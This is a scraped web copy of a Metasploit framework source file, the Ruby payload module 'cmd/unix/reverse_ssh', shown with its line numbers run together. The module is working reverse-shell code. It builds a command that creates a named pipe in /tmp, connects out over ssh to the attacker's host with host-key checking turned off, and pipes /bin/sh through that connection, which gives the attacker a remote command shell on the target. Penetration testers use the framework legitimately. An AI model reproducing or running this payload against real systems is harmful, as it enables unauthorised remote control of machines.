Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/unix/reverse_ssh.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'msf/core/handler/reverse_ssh'67module MetasploitModule89CachedSize = :dynamic1011include Msf::Payload::Single12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Unix Command Shell, Reverse TCP SSH',17'Description' => 'Connect back and create a command shell via SSH',18'Author' => [19'RageLtMan <rageltman[at]sempervictus>', # Rex/Metasploit20'hirura' # HrrRbSsh21],22'License' => MSF_LICENSE,23'Platform' => 'unix',24'Arch' => ARCH_CMD,25'Handler' => Msf::Handler::ReverseSsh,26'Session' => Msf::Sessions::SshCommandShellReverse,27'PayloadType' => 'cmd',28'RequiredCmd' => 'ssh',29'Payload' => { 'Offsets' => {}, 'Payload' => '' }30))31register_advanced_options(32[33Msf::OptString.new('SshClientOptions', [34false,35"Space separated options for the ssh client",36'UserKnownHostsFile=/dev/null StrictHostKeyChecking=no'37]),38OptString.new('SSHPath', [true, 'The path to the SSH executable', 'ssh']),39OptString.new('ShellPath', [true, 'The path to the shell to execute', '/bin/sh'])40]41)42end4344#45# Constructs the payload46#47def generate(_opts = {})48return super + command_string49end5051#52# Returns the command string to use for execution53#54def command_string55backpipe = Rex::Text.rand_text_alpha_lower(4..8)56lport = datastore['LPORT'] == 22 ? '' : "-p #{datastore['LPORT']} "57opts = datastore['SshClientOptions'].blank? ? '' : datastore['SshClientOptions'].split(' ').compact.map {|e| e = "-o #{e} " }.join58"mkfifo /tmp/#{backpipe};#{datastore['SSHPath']} -qq #{opts}#{datastore['LHOST']} #{lport}0</tmp/#{backpipe}|#{datastore['ShellPath']} >/tmp/#{backpipe} 2>&1;rm /tmp/#{backpipe}"59end60end616263